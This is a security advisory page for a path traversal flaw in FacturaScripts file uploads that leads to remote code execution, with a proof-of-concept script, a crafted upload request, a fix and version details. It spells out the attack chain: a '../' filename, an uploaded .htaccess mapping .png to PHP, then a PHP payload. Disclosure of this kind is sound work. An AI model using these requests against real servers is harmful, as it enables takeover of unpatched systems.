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FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

Affects FacturaScripts 2025 through 2026.2. Fixed in 2026.3.

Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.

Exploited
No known exploitation
Fix
Fixed in 2026.3
Who is exposed
Specific setups only

Do first: Check whether your setup matches what the bug needs. Affected FacturaScripts versions are 2025 up to and including 2026.2.

Published
Last modified
27/100
Specific setups only
Critical (ghsa)
None on Exploit-DB, Metasploit or GitHub

Summary

FacturaScripts is affected. An authenticated user can upload a file with crafted directory segments in its name to write files outside the intended upload folder, which can lead to remote code execution on the server.

Read the original description

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.

Vulnerable Code

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this->name ?? '';
}

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

  • Core/Controller/ApiUploadFiles.php:58 — POST /api/3/uploadfiles
  • Core/Controller/ApiAttachedFiles.php:136 — POST /api/3/attachedfiles
  • Core/Lib/Widget/WidgetFile.php:84 — every form using a file widget
  • Core/Lib/Widget/WidgetLibrary.php:215 — library widget upload
  • Core/Lib/ExtendedController/DocFilesTrait.php:51 — document files trait
  • Core/Controller/AdminPlugins.php:260 — plugin (zip) upload

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1 — Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3 — Chain to code execution

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

  1. Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
  2. Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
  3. Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

  • Write arbitrary content to any path under the application root that is writable by the web-server user, including Dinamic/Assets/ (Apache-direct-served) and node_modules/.
  • Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
  • Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Fix

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

  • Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site.
  • After concatenating the final destination, verify with realpath() that the result is still inside the intended base directory; abort otherwise.
  • Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces MyFilesToken).

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

cve.now Index

27cve.now Index 27 of 100 · methodology v3
  • Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
  • Exposure8/25Specific setups only, reachable over the network
  • Reach10/20Affects Packagist packages
  • Severity9/10Rated critical by ghsa
  • No patch0/5No signal

What would change the score

  • Would score about 77 if added to CISA KEV
  • Would score about 72 if CISA's SSVC rates exploitation active
  • Would score about 34 if CISA's SSVC rates it automatable

What to do

  • Check whether your setup matches what the bug needs.

    Affected FacturaScripts versions are 2025 up to and including 2026.2.
  • Upgrade to a fixed version: 2026.3.

Timeline

  1. Advisory published
  2. Record last updated

Affected versions

Evidence 2

  1. Advisory
  2. Repository

Corrections

None so far.

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Questions about GHSA-HGJX-R89M-M7V4

Is GHSA-HGJX-R89M-M7V4 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data

What does this mean?

An authenticated user can upload a file under a crafted name, and the upload code writes it to an arbitrary location that the web-server user can write to. This can escalate to remote code execution as the web-server user.Source: github.com

Which versions are affected by GHSA-HGJX-R89M-M7V4?

facturascripts/facturascripts (Packagist): from 2025 through 2026.2.Source: cve.now feed data

Am I affected, and how do I check?

Installations running FacturaScripts versions 2025 up to and including 2026.2 are affected. To check, compare the installed version number against that range.Source: github.com

How do I fix GHSA-HGJX-R89M-M7V4?

Upgrade to FacturaScripts 2026.3 or later, which contains the fix.Source: github.com